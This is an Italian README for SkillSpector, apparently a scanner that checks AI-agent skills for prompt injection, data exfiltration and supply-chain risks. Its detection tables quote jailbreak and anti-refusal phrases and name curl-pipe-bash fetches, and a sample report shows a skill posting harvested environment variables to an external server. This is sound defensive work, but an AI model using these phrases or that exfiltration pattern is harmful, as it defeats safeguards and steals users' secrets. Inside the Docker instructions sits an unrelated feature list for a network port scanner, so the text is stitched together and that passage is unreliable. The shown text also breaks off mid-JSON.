
SkillSpector v2.10.0
Scanner di sicurezza per le skill degli agenti AI. Rileva vulnerabilità, pattern dannosi, rischi di sicurezza, prompt injection, esfiltrazione di dati e rischi della supply chain nelle skill di Claude Code, Codex e MCP prima di installarle.
SkillSpector
Scanner di sicurezza per le skill degli agenti AI. Rileva vulnerabilità, pattern dannosi e rischi di sicurezza prima di installare le skill degli agenti.
Panoramica
Le skill degli agenti AI (usate da Claude Code, Codex CLI, Gemini CLI, ecc.) vengono eseguite con fiducia implicita e una verifica minima. La ricerca mostra che il 26,1% delle skill contiene vulnerabilità e il 5,2% mostra probabile intento dannoso.
SkillSpector ti aiuta a rispondere: "Questa skill è sicura da installare?"
SkillSpector fa parte del pipeline NVIDIA Verified Skills, che scansiona, valuta e firma le skill degli agenti prima della pubblicazione. Le skill che superano la verifica vengono pubblicate nel catalogo skill NVIDIA.
Documentazione
- Scansiona le skill degli agenti prima dell'installazione — Guida ospitata: quando scansionare, come leggere un report e come bloccare le installazioni.
- Guida allo sviluppo — Architettura, struttura del pacchetto e come estendere il pipeline dell'analizzatore.
- Estensione Pi — Installa SkillSpector come strumento Pi per scansionare le skill direttamente dalle sessioni degli agenti.
Funzionalità
- Input multi-formato: Scansiona repository Git, URL, file zip, directory o singoli file
- 68 pattern di vulnerabilità in 17 categorie: prompt injection, esfiltrazione di dati, escalation dei privilegi, supply chain, agency eccessiva, gestione dell'output, leak del prompt di sistema, avvelenamento della memoria, uso improprio degli strumenti, agente rogue, anti-rifiuto, abuso dei trigger, codice pericoloso (AST), taint tracking, firme YARA, privilegio minimo MCP e avvelenamento degli strumenti MCP
- Analisi in due fasi: Analisi statica rapida + valutazione semantica LLM opzionale
- Ricerca live delle vulnerabilità: SC4 interroga OSV.dev per dati CVE in tempo reale con fallback offline automatico
- Formati di output multipli: Report terminale, JSON, Markdown e SARIF
- Punteggio del rischio: Punteggio 0-100 con etichette di gravità e raccomandazioni chiare
- Soppressione baseline / falsi positivi: Accetta risultati noti tramite una baseline basata su regole glob o impronte digitali, così le nuove scansioni mostrano solo i problemi nuovi (docs)
Avvio rapido
Installazione
Avviso sul software open-source: Questo progetto scaricherà e installerà ulteriori progetti software open-source di terze parti. Rivedi i termini di licenza di questi progetti open-source prima dell'uso.
Crea e attiva prima un ambiente virtuale (tutti i target make presuppongono che il venv sia attivo). Usa uv o pip; il Makefile usa uv se disponibile, altrimenti pip.
Installazione rapida con uv (solo CLI):```bash uv tool install git+https://github.com/NVIDIA/skillspector.git
Update later: uv tool update skillspector
Se prevedi di eseguire `skillspector mcp`, installa l'extra MCP al momento dell'installazione:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
From source:```bash
Clone the repository
git clone https://github.com/NVIDIA/skillspector.git cd skillspector
Create and activate virtual environment
uv venv .venv && source .venv/bin/activate
or: python3 -m venv .venv && source .venv/bin/activate
Install for production use
make install
Or install with development dependencies
make install-dev
### Docker (nessuna installazione di Python richiesta)
Esegui SkillSpector senza installare Python compilandolo localmente dal [Dockerfile](https://github.com/nvidia/skillspector/blob/HEAD/Dockerfile) incluso. L'immagine si basa sull'immagine ufficiale Docker Python `3.12-slim-bookworm`.
**Compila l'immagine:**```bash
make docker-build
# or: docker build -t skillspector .
Esegui una scansione di una directory locale montando la directory corrente in /scan, la directory di lavoro del container:```bash
docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm
**Scansione con analisi LLM** passando le credenziali tramite un file locale `.env`:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF
## 🛠️ Caratteristiche
- **Scansione completa delle porte**: Scansiona tutte le 65.535 porte TCP per identificare i servizi in esecuzione.
- **Rilevamento del sistema operativo**: Utilizza l'impronta digitale TCP/IP per determinare il sistema operativo del target.
- **Rilevamento della versione del servizio**: Interroga i servizi per determinare le versioni del software.
- **Rilevamento del firewall**: Rileva la presenza di firewall e le loro regole.
- **Output in formato testo semplice**: Genera report in formato testo semplice facili da leggere e analizzare.
- **Supporto per più target**: Scansiona più host o reti contemporaneamente.
- **Opzioni di scansione personalizzabili**: Controlla la velocità di scansione, l'intervallo delle porte e altre impostazioni.
- **Integrazione con altri strumenti**: Si integra perfettamente con altri strumenti di sicurezza per un'analisi completa.
``````bash
docker run --rm \
-v "$PWD:/scan" \
--env-file .env \
skillspector scan ./my-skill/
Oppure passa le credenziali direttamente dal tuo ambiente shell:```bash
docker run --rm
-v "$PWD:/scan"
-e SKILLSPECTOR_PROVIDER=anthropic
-e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY"
skillspector scan ./my-skill/
**Scrivi un report sul filesystem dell'host** scrivendo nella directory montata:```bash
docker run --rm \
-v "$PWD:/scan" \
skillspector scan ./my-skill/ --no-llm --format json --output report.json
Alias opzionale per scansioni statiche ripetute:```bash alias skillspector-docker='docker run --rm -v "$PWD:/scan" skillspector' skillspector-docker scan ./my-skill/ --no-llm
### Utilizzo di base```bash
# Scan a local skill directory
skillspector scan ./my-skill/
# Scan a single SKILL.md file
skillspector scan ./SKILL.md
# Scan a Git repository
skillspector scan https://github.com/user/my-skill
# Scan a zip file
skillspector scan ./my-skill.zip
Limiti di dimensione
SkillSpector applica due limiti indipendenti sugli input remoti e da archivio per contenere l'impatto di download eccessivamente grandi e di zip bomb:
- Limite per acquisizione:
INGEST_MAX_BYTES(100 MiB) — applicato ai download da URL in streaming, alla dimensione totale non compressa degli archivi zip e all'utilizzo del disco dopo la clonazione dei repository Git. - Limite per membri zip:
INGEST_MAX_ZIP_MEMBERS(10.000) — limita il numero di voci in un singolo zip.
Nota che il limite di analisi di 1 MB per file (MAX_FILE_BYTES) è un limite separato, a valle: vincola ciò che i singoli analizzatori leggeranno da una directory già acquisita. I limiti di acquisizione sopra indicati vincolano invece quanto contenuto può finire su disco in primo luogo. La violazione di uno dei due limiti di acquisizione fallisce in modalità chiusa con un IngestLimitExceededError.
Formati di output```bash
Terminal output (default) - pretty formatted
skillspector scan ./my-skill/
JSON output - machine readable
skillspector scan ./my-skill/ --format json --output report.json
Markdown output - for documentation
skillspector scan ./my-skill/ --format markdown --output report.md
SARIF output - for CI/CD integration and IDE tooling
skillspector scan ./my-skill/ --format sarif --output report.sarif
### Batch Scanning
Scansiona intere directory di skill in parallelo da `contrib/batch_scan/`:```bash
python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm
python -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json
python -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20
Supporta il rilevamento multilingue (zh/ja/ko) e l'output su terminale/JSON/Markdown.
Per le scansioni LLM con concorrenza più elevata, configura più chiavi API seguendo
.env.example — il pool migliora la velocità effettiva
e la resilienza, a condizione che le chiavi non condividano un limite di velocità a livello di account.
Consulta la guida contrib per i dettagli.
Nota sul supporto LLM: La configurazione predefinita punta a DeepSeek come opzione pubblica più economica. DeepSeek-Chat è destinato a essere dismesso, e il contributore non dispone di hardware per testare modelli locali. Lo scanner batch è stato originariamente testato con endpoint compatibili con OpenAI — la mancanza di supporto per output strutturati in DeepSeek ha richiesto patch manuali per il parsing JSON. Se puoi contribuire con un backend più universale (Ollama, vLLM o un altro provider), le PR sono molto benvenute.
Soppressione dei falsi positivi (baseline)
Sopprimi i risultati noti/accettati così che il punteggio di rischio rifletta solo i problemi non ancora classificati e le nuove scansioni mostrino solo risultati nuovi. Consulta la guida alla soppressione per il riferimento completo.```bash
Accept all current findings into a baseline (run once), then commit it.
skillspector baseline ./my-skill/ -o .skillspector-baseline.yaml
Scan against the baseline — only NEW findings are reported and scored.
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml
Review what was suppressed (still excluded from the score).
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed
Una baseline può anche utilizzare regole glob tolleranti alla deriva (per ID di regola, percorso file o messaggio) — vedi [`.skillspector-baseline.example.yaml`](https://github.com/nvidia/skillspector/blob/HEAD/.skillspector-baseline.example.yaml).
Le baseline con fingerprint esatti sono vincolate alle prove: modificare la sorgente scansionata o la versione di SkillSpector mantiene il finding attivo finché non viene riesaminato.
Quando una baseline selezionata o l'output di una baseline viene salvato all'interno della directory della skill, SkillSpector esclude quel file specifico dall'analisi dei contenuti, così il suo testo di soppressione non può creare finding né entrare nei fingerprint rigenerati; i file fratelli rimangono nell'ambito di scansione normale.
### Analisi LLM
Per i migliori risultati, configura un endpoint LLM compatibile con OpenAI per l'analisi semantica. Scegli un provider con `SKILLSPECTOR_PROVIDER`; i provider ospitati includono modelli predefiniti in bundle, mentre i provider CLI ricadono sul modello predefinito del runtime locale a meno che non sia impostato `SKILLSPECTOR_MODEL`. SkillSpector funziona anche con server locali compatibili con OpenAI (Ollama, vLLM, llama.cpp) e gateway di inferenza gestiti.
| Provider (`SKILLSPECTOR_PROVIDER`) | Variabile d'ambiente per le credenziali | Endpoint | Modello predefinito |
| ---------- | ---- | ---- | ---- |
| `openai` | `OPENAI_API_KEY` (+ `OPENAI_BASE_URL` opzionale) | api.openai.com (o qualsiasi URL compatibile con OpenAI) | `gpt-5.4` |
| `anthropic` | `ANTHROPIC_API_KEY` | api.anthropic.com | `claude-opus-4-6` |
| `anthropic_proxy` | `ANTHROPIC_PROXY_API_KEY` + `ANTHROPIC_PROXY_ENDPOINT_URL` | Qualsiasi proxy raw-predict in stile Vertex | `claude-sonnet-4-6` |
| `bedrock` | `AWS_PROFILE` (opzionale) + `AWS_REGION` — SigV4 tramite boto3 | AWS Bedrock Runtime | `us.anthropic.claude-sonnet-4-6-20250915-v1:0` |
| `nv_build` | `NVIDIA_INFERENCE_KEY` | build.nvidia.com | `deepseek-ai/deepseek-v4-flash` |
| `claude_cli` | _(nessuna — usa l'autenticazione CLI locale)_ | binario `claude` locale | fallback del runtime Claude locale, o `SKILLSPECTOR_MODEL` |
| `codex_cli` | _(nessuna — usa l'autenticazione CLI locale)_ | binario `codex` locale | fallback del runtime Codex locale, o `SKILLSPECTOR_MODEL` |```bash
# Stock OpenAI
export SKILLSPECTOR_PROVIDER=openai
export OPENAI_API_KEY=sk-...
skillspector scan ./my-skill/
# Anthropic
export SKILLSPECTOR_PROVIDER=anthropic
export ANTHROPIC_API_KEY=sk-ant-...
skillspector scan ./my-skill/
# Anthropic via Vertex-style proxy (corporate gateways, GCP Vertex AI)
export SKILLSPECTOR_PROVIDER=anthropic_proxy
export ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict
export ANTHROPIC_PROXY_API_KEY=your-bearer-token
export SKILLSPECTOR_MODEL=claude-sonnet-4-6
skillspector scan ./my-skill/
# AWS Bedrock (Claude via SigV4)
export SKILLSPECTOR_PROVIDER=bedrock
# Optional: select an AWS named profile. When unset, the standard
# boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.
# export AWS_PROFILE=my-profile
export AWS_REGION=us-west-2 # default if unset
# Default model: us.anthropic.claude-sonnet-4-6-20250915-v1:0
# Override with any Bedrock model ID, cross-region inference-profile
# ID, or your own application-inference-profile ARN:
# export SKILLSPECTOR_MODEL=us.anthropic.claude-opus-4-6-20250915-v1:0
skillspector scan ./my-skill/
# NVIDIA build.nvidia.com
export SKILLSPECTOR_PROVIDER=nv_build
export NVIDIA_INFERENCE_KEY=nvapi-...
skillspector scan ./my-skill/
# Local Claude CLI — no API key; uses your existing `claude auth login` session
# Requires: claude CLI installed and authenticated (claude auth login)
export SKILLSPECTOR_PROVIDER=claude_cli
# Uses the local Claude CLI runtime fallback unless SKILLSPECTOR_MODEL is set.
# export SKILLSPECTOR_MODEL=claude-sonnet-4-6
skillspector scan ./my-skill/
# Local Codex CLI — no API key; uses your existing `codex login` session
# Requires: codex CLI installed and authenticated
export SKILLSPECTOR_PROVIDER=codex_cli
skillspector scan ./my-skill/
# Local Ollama or any OpenAI-compatible endpoint
export SKILLSPECTOR_PROVIDER=openai
export OPENAI_API_KEY=ollama
export OPENAI_BASE_URL=http://localhost:11434/v1
export SKILLSPECTOR_MODEL=llama3.1:8b
skillspector scan ./my-skill/
# Override the provider's default model
export SKILLSPECTOR_MODEL=gpt-5.2
skillspector scan ./my-skill/
# Skip LLM analysis (faster, static analysis only)
skillspector scan ./my-skill/ --no-llm
Server MCP
Esegui SkillSpector come server Model Context Protocol così qualsiasi agente compatibile con MCP (Claude Code, Codex CLI, Gemini CLI) o runtime remoto può chiamare la scansione come strumento e subordinare le installazioni di skill/MCP al risultato — trasformando SkillSpector in una protezione runtime invece che in un passaggio di audit fuori banda.
skillspector mcp richiede skillspector[mcp].```bash
Install, or reinstall if you already used the CLI-only path
uv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
FastMCP stdio transport for local CLI agents
skillspector mcp
streamable HTTP/SSE transport for remote / A2A callers
skillspector mcp --transport http --host 127.0.0.1 --port 8000
Il trasporto stdio è il percorso FastMCP attuale per gli agenti CLI locali, e il
blocco di inizializzazione segnalato nell'issue #199 si applica ancora lì.
Il server espone un singolo strumento:
- **`scan_skill(target, use_llm=true, output_format="json")`** — esegue la scansione di un URL Git,
un URL di file, un file `.zip`, `.md` o una directory e restituisce un verdetto
strutturato: `risk_score` (0-100), `severity`, `recommendation`,
`safe_to_install` e `findings`. Segnala inoltre `llm_used` / `scan_mode`
così un punteggio basso da una scansione solo statica non viene mai scambiato per una scansione completa pulita.
Registralo con Claude Code tramite:```bash
claude mcp add skillspector -- skillspector mcp
Sicurezza — Modello di fiducia del trasporto HTTP
Il trasporto HTTP viene fornito senza autenticazione. Qualsiasi chiamante che possa raggiungere la porta può invocare
scan_skill. Tramite stdio o127.0.0.1questo è lo stesso confine di fiducia della CLI. Se si esegue il bind su un'interfaccia instradabile:
- Posizionare il server dietro un proxy inverso con autenticazione (es. nginx + mTLS) prima di esporlo esternamente.
- I percorsi locali e gli URL
file://vengono automaticamente rifiutati tramite HTTP per impedire a chiamanti non autenticati di leggere file arbitrari dell'host. Solo gli URL Git remoti e.zipvengono accettati.
Modelli di Vulnerabilità
SkillSpector rileva 68 modelli di vulnerabilità in 17 categorie:
Prompt Injection (5 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| P1 | Sovrascrittura delle Istruzioni | ALTA | Comandi per ignorare i vincoli di sicurezza |
| P2 | Istruzioni Nascoste | ALTA | Direttive dannose in commenti/testo invisibile |
| P3 | Comandi di Esfiltrazione | ALTA | Istruzioni per trasmettere il contesto esternamente |
| P4 | Manipolazione del Comportamento | MEDIA | Istruzioni sottili che alterano le decisioni dell'agente |
| P5 | Contenuto Dannoso | CRITICA | Istruzioni che potrebbero causare danni fisici |
Anti-Rifiuto (3 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| AR1 | Soppressione del Rifiuto | ALTA | Istruzioni per non rifiutare mai o rispettare sempre (es. "non rifiutare mai", "rispetta sempre") |
| AR2 | Soppressione delle Dichiarazioni | ALTA | Istruzioni per omettere avvisi, dichiarazioni di non responsabilità o commenti etici (es. "niente dichiarazioni", "non moralizzare") |
| AR3 | Annullamento della Policy di Sicurezza | ALTA | Struttura di jailbreak che annulla le protezioni (es. "non hai restrizioni", "ignora le tue linee guida", "fai qualsiasi cosa ora") |
Esfiltrazione dei Dati (4 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| E1 | Trasmissione Esterna | MEDIA | Invio di dati a URL esterni |
| E2 | Raccolta di Variabili d'Ambiente | ALTA | Enumerazione, copia o ricerca di dati d'ambiente per raccogliere segreti |
| E3 | Enumerazione del File System | MEDIA | Scansione delle directory per file sensibili |
| E4 | Perdita del Contesto | ALTA | Trasmissione del contesto della conversazione esternamente |
Escalation dei Privilegi (3 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| PE1 | Permessi Eccessivi | BASSA | Richiesta di accesso oltre la funzionalità dichiarata |
| PE2 | Esecuzione Sudo/Root | MEDIA | Invocazione di privilegi di sistema elevati |
| PE3 | Accesso alle Credenziali | ALTA | Lettura di chiavi SSH, token, password |
Supply Chain (6 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| SC1 | Dipendenze Non Vincolate | BASSA | Nessun vincolo di versione sui pacchetti |
| SC2 | Recupero di Script Esterni | ALTA | curl | bash ed esecuzione di codice remoto |
| SC3 | Codice Offuscato | ALTA | Esecuzione codificata Base64/hex |
| SC4 | Dipendenze Vulnerabili Note | ALTA | Dipendenze con CVE noti (ricerca live OSV.dev) |
| SC5 | Dipendenze Abbandonate | MEDIA | Pacchetti non mantenuti senza aggiornamenti di sicurezza |
| SC6 | Typosquatting | ALTA | Nomi di pacchetti simili a pacchetti popolari |
Agenzia Eccessiva (4 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| EA1 | Accesso Illimitato agli Strumenti | ALTA | Accesso senza restrizioni agli strumenti senza vincoli |
| EA2 | Processo Decisionale Autonomo | ALTA | Decisioni ad alto impatto senza intervento umano |
| EA3 | Espansione dell'Ambito | MEDIA | Capacità che vanno oltre lo scopo dichiarato |
| EA4 | Accesso Illimitato alle Risorse | MEDIA | Nessun limite di frequenza o quota sul consumo di risorse |
Gestione dell'Output (3 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| OH1 | Iniezione di Output Non Validato | ALTA | Output del modello utilizzato senza sanificazione |
| OH2 | Output Cross-Contesto | MEDIA | Output che attraversa i confini di fiducia senza validazione |
| OH3 | Output Illimitato | MEDIA | Nessun limite sulla dimensione dell'output o sulla frequenza di generazione |
Perdita del Prompt di Sistema (3 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| P6 | Perdita Diretta | ALTA | Istruzioni che espongono prompt di sistema o regole interne |
| P7 | Estrazione Indiretta | MEDIA | Estrazione tramite riformulazione, traduzione o canali laterali |
| P8 | Esfiltrazione Basata su Strumenti | ALTA | Prompt di sistema esfiltrati tramite scritture di file o richieste di rete |
Avvelenamento della Memoria (3 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| MP1 | Iniezione di Contesto Persistente | ALTA | Contenuto progettato per persistere tra le interazioni |
| MP2 | Riempimento della Finestra di Contesto | MEDIA | Contenuto di riempimento che sposta i vincoli di sicurezza |
| MP3 | Manipolazione della Memoria | ALTA | Manomissione della memoria dell'agente o dello stato memorizzato |
Uso Improprio degli Strumenti (3 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| TM1 | Abuso dei Parametri degli Strumenti | ALTA | Parametri costruiti per comportamenti non intenzionali (shell=True, --force) |
| TM2 | Abuso di Concatenazione | ALTA | Catene di strumenti che bypassano i controlli di sicurezza individuali |
| TM3 | Default Non Sicuri | MEDIA | Default eccessivamente permissivi (TLS disabilitato, nessuna autenticazione) |
Agente Rogue (2 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| RA1 | Auto-Modifica | CRITICA | Modifica del proprio codice o configurazione a runtime |
| RA2 | Persistenza della Sessione | ALTA | Persistenza non autorizzata tramite cron job o script di avvio |
Abuso dei Trigger (3 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| TR1 | Trigger Eccessivamente Ampio | MEDIA | Modelli di trigger che corrispondono a parole comuni |
| TR2 | Trigger di Comando Ombra | ALTA | Trigger che oscurano comandi integrati o altre skill |
| TR3 | Trigger di Esca con Parole Chiave | MEDIA | Trigger generici progettati per massimizzare l'attivazione |
AST Comportamentale (9 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| AST1 | Chiamata exec() | CRITICA | exec() diretto che abilita l'esecuzione di codice arbitrario |
| AST2 | Chiamata eval() | ALTA | eval() diretto che valuta espressioni arbitrarie |
| AST3 | Import Dinamico | ALTA | __import__() che carica moduli arbitrari a runtime |
| AST4 | Chiamata subprocess | ALTA | Esecuzione di comandi esterni tramite subprocess |
| AST5 | os.system / famiglia exec | ALTA | Comandi shell tramite modulo os |
| AST6 | Chiamata compile() | MEDIA | Creazione di oggetti codice da stringhe |
| AST7 | getattr() Dinamico | MEDIA | Accesso arbitrario agli attributi con nomi non letterali |
| AST8 | Catena di Esecuzione Pericolosa | CRITICA | exec/eval combinati con sorgente dinamica (rete, dati codificati) |
| AST9 | Sink getattr() Riflessivo | ALTA | exec riflessivo tramite getattr(os,'system') / getattr(builtins,'exec') che elude AST1/AST5 |
Tracciamento del Taint (5 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| TT1 | Flusso di Taint Diretto | ALTA | I dati fluiscono direttamente da una sorgente a un sink senza sanificazione |
| TT2 | Flusso di Taint Mediato da Variabili | MEDIA | I dati fluiscono dalla sorgente al sink tramite variabili intermedie |
| TT3 | Catena di Esfiltrazione delle Credenziali | CRITICA | Le credenziali (variabili d'ambiente, segreti) fluiscono verso sink di output di rete |
| TT4 | Lettura File verso Esfiltrazione di Rete | ALTA | Il contenuto dei file fluisce verso sink di output di rete |
| TT5 | Input Esterno verso Esecuzione di Codice | CRITICA | Input di rete o utente fluisce verso sink exec/eval/subprocess |
Firme YARA (4 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| YR1 | Corrispondenza Malware | CRITICA | Corrispondenza di regole YARA per firme malware note |
| YR2 | Corrispondenza Webshell | CRITICA | Corrispondenza di regole YARA per modelli webshell |
| YR3 | Corrispondenza Cryptominer | ALTA | Corrispondenza di regole YARA per indicatori di mining di criptovalute |
| YR4 | Corrispondenza Hack Tool / Exploit | ALTA | Corrispondenza di regole YARA per hack tool o codice exploit |
MCP Privilegio Minimo (4 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| LP1 | Capacità Sottodichiarata | ALTA | Il codice utilizza capacità non elencate nei permessi dichiarati |
| LP2 | Permesso Wildcard | MEDIA | L'elenco dei permessi contiene wildcard (*, all, full, any) |
| LP3 | Dichiarazione di Permesso Mancante | MEDIA | Nessun campo permessi ma il codice ha capacità rilevabili |
| LP4 | Permesso Sovradichiarato | BASSA | Permesso dichiarato ma nessuna capacità di codice corrispondente trovata |
Avvelenamento degli Strumenti MCP (4 modelli)
| ID | Modello | Gravità | Descrizione |
|---|---|---|---|
| TP1 | Istruzioni Nascoste | ALTA | Direttive nascoste nei metadati (commenti HTML, caratteri a larghezza zero, base64, data URI) |
| TP2 | Inganno Unicode | ALTA | Omoglifi, override RTL, identificatori a script misto nei metadati degli strumenti |
| TP3 | Iniezione nella Descrizione dei Parametri | MEDIA | Modelli di iniezione nelle definizioni dei parametri (override, token di sistema, default dannosi) |
| TP4 | Discrepanza Descrizione-Comportamento | MEDIA | La descrizione dichiarata dello strumento non corrisponde al comportamento effettivo del codice (basato su LLM) |
Tutti i modelli rilevati sono elencati nelle tabelle sopra.
Punteggio del Rischio
Calcolo del Punteggio
- Problemi CRITICI: +50 punti
- Problemi ALTI: +25 punti
- Problemi MEDI: +10 punti
- Problemi BASSI: +5 punti
- Script eseguibili: moltiplicatore 1.3x
Livelli di Gravità
| Punteggio | Gravità | Raccomandazione |
|---|---|---|
| 0-20 | BASSA | SICURO |
| 21-50 | MEDIA | ATTENZIONE |
| 51-80 | ALTA | NON INSTALLARE |
| 81-100 | CRITICA | NON INSTALLARE |
Esempio di Output
Output del Terminale```
SkillSpector Security Report v2.0.0
Skill: suspicious-skill Source: ./suspicious-skill/ Scanned: 2026-01-29 10:30:00 UTC
Risk Assessment
Metric Value Score 78/100 Severity HIGH Recommendation DO NOT INSTALL
Components (3)
File Type Lines Executable SKILL.md markdown 142 No scripts/sync.py python 87 Yes requirements.txt text 3 No
Issues (2)
HIGH: Env Variable Harvesting (E2) Location: scripts/sync.py:23 Finding: for key, val in os.environ.items():... Confidence: 94% Explanation: This code collects environment variables containing API keys and secrets, then sends them to an external server.
HIGH: External Transmission (E1) Location: scripts/sync.py:45 Finding: requests.post("https://api.skill.io/env"... Confidence: 89% Explanation: Data is being sent to an external server. Combined with env harvesting above, this indicates credential exfiltration.
## Configurazione
### Variabili d'ambiente
| Variabile | Descrizione | Obbligatoria |
|----------|-------------|----------|
| `SKILLSPECTOR_PROVIDER` | Provider LLM attivo: `openai`, `anthropic`, `anthropic_proxy`, `bedrock`, `nv_build`, `claude_cli`, `codex_cli` o `gemini_cli`. I provider ospitati usano i valori predefiniti del `model_registry.yaml` incluso; `claude_cli` e `codex_cli` ripiegano sul modello predefinito del runtime CLI locale a meno che non sia impostato `SKILLSPECTOR_MODEL`. Il valore predefinito è `nv_build`. | Opzionale |
| `NVIDIA_INFERENCE_KEY` | Credenziale per il provider `nv_build` (build.nvidia.com). | Obbligatoria per l'analisi LLM quando `SKILLSPECTOR_PROVIDER=nv_build` |
| `OPENAI_API_KEY` | Credenziale per il provider OpenAI (`SKILLSPECTOR_PROVIDER=openai`). Funge anche da fallback di livello 2 nella cascata di credenziali quando il provider attivo non restituisce credenziali. | Obbligatoria per l'analisi LLM quando `SKILLSPECTOR_PROVIDER=openai` |
| `OPENAI_BASE_URL` | Sostituisce l'endpoint OpenAI (ad es. per puntare a Ollama). | Opzionale |
| `SKILLSPECTOR_REASONING_EFFORT` | Impostazione opzionale dello sforzo di ragionamento, dipendente dal provider e dal modello. I valori non vuoti vengono troncati e passati invariati; se non impostati o vuoti, viene preservato il comportamento predefinito del provider. | Opzionale |
| `ANTHROPIC_API_KEY` | Credenziale per il provider Anthropic (`SKILLSPECTOR_PROVIDER=anthropic`). | Obbligatoria per l'analisi LLM quando `SKILLSPECTOR_PROVIDER=anthropic` |
| `ANTHROPIC_BASE_URL` | Sostituisce l'endpoint Anthropic nativo (predefinito: `https://api.anthropic.com`). | Opzionale |
| `ANTHROPIC_PROXY_ENDPOINT_URL` | URL completo dell'endpoint per il provider proxy Anthropic (raw-predict in stile Vertex). | Obbligatoria quando `SKILLSPECTOR_PROVIDER=anthropic_proxy` |
| `ANTHROPIC_PROXY_API_KEY` | Token Bearer per il provider proxy Anthropic. | Obbligatoria quando `SKILLSPECTOR_PROVIDER=anthropic_proxy` |
| `ANTHROPIC_PROXY_API_VERSION` | Valore `anthropic_version` inviato nel corpo della richiesta (predefinito: `vertex-2023-10-16`). | Opzionale |
| `AWS_PROFILE` | Profilo AWS nominato per il provider Bedrock — autentica tramite SigV4 attraverso boto3. Se non impostato, viene risolta la catena di credenziali standard di boto3 (variabili d'ambiente, metadati dell'istanza, SSO, ecc.). | Opzionale (usata quando `SKILLSPECTOR_PROVIDER=bedrock`) |
| `AWS_REGION` | Regione AWS per l'endpoint Bedrock Runtime. Il valore predefinito è `us-west-2`. | Opzionale (usata quando `SKILLSPECTOR_PROVIDER=bedrock`) |
| `SKILLSPECTOR_MODEL` | Sostituisce il modello del provider attivo. Per i provider ospitati, sostituisce il valore predefinito incluso dalla tabella Analisi LLM. Per `claude_cli` e `codex_cli`, viene inoltrato come `--model` invece di usare il fallback del runtime CLI locale. | Opzionale |
| `SKILLSPECTOR_MODEL_REGISTRY` | Sostituisce il registro YAML per provider incluso (`src/skillspector/providers/<provider>/model_registry.yaml`) con un percorso personalizzato. | Opzionale |
| `SKILLSPECTOR_LOG_LEVEL` | Livello di log: `DEBUG`, `INFO`, `WARNING`, `ERROR` (predefinito: `WARNING`). | Opzionale |
> **Provider CLI** (`claude_cli`, `codex_cli`): Non è necessaria alcuna chiave API. L'autenticazione è gestita interamente dalla sessione di login della CLI dell'agente (`claude auth login` / `codex login`). SkillSpector non legge né inoltra mai chiavi API quando questi provider sono attivi. Il sottoprocesso viene eseguito in una sandbox rinforzata: strumenti disabilitati, nessun MCP, modalità sandbox di sola lettura (codex) e il contenuto delle skill non attendibile viene consegnato solo tramite stdin.
### Opzioni CLI```bash
skillspector scan --help
Options:
-f, --format [terminal|json|markdown|sarif] Output format [default: terminal]
-o, --output PATH Output file path
--no-llm Skip LLM analysis (static only)
--yara-rules-dir PATH Extra YARA rules directory
-b, --baseline PATH Suppress findings listed in a baseline
--show-suppressed List baseline-suppressed findings
-V, --verbose Show detailed progress
--help Show this message and exit
# Generate a baseline of all current findings (see docs/SUPPRESSION.md)
skillspector baseline <path> [-o FILE] [--no-llm] [--reason TEXT]
Integrazione di SkillSpector
SkillSpector è progettato per essere guidato da altri strumenti (pipeline CI, gate di installazione, integrazioni con editor). Il suo codice di uscita e l'output JSON sono un contratto stabile.
Codici di uscita
skillspector scan termina con:
| Codice | Significato |
|---|---|
0 | Scansione completata, risk_score ≤ 50 (raccomandazione SAFE o CAUTION) |
1 | Scansione completata, risk_score > 50 (raccomandazione DO_NOT_INSTALL) |
2 | Errore (input non valido, sorgente illeggibile, guasto interno) |
Il codice di uscita comprime
SAFEeCAUTIONin0. Per agire in modo diverso su di essi (ad es. avvisare suCAUTIONma bloccare suDO_NOT_INSTALL), leggi il camporecommendationdall'output JSON invece di fare affidamento sul codice di uscita.
Output leggibile dalla macchina
--format json produce un report JSON; senza --output/-o viene scritto su stdout:```bash
skillspector scan ./my-skill/ --format json
The top-level shape is (this example shows a full LLM-backed scan; with `--no-llm`, `metadata.llm_requested` is `false`):```json
{
"skill": { "name": "...", "source": "...", "scanned_at": "<ISO 8601>" },
"risk_assessment": { "score": 0, "severity": "LOW", "recommendation": "SAFE" },
"components": [ { "path": "...", "type": "...", "lines": 0, "executable": false, "size_bytes": 0 } ],
"issues": [ { "id": "...", "category": "...", "severity": "...", "confidence": 0.0, "location": { "file": "...", "start_line": 0 } } ],
"metadata": {
"has_executable_scripts": false,
"skillspector_version": "...",
"llm_requested": true,
"llm_available": true,
"inference_usage": [
{
"node": "semantic_security_discovery",
"request_kind": "structured_output",
"provider": "nv_inference",
"model": "azure/anthropic/claude-opus-4-6",
"model_source": "provider_response",
"usage_source": "provider_response",
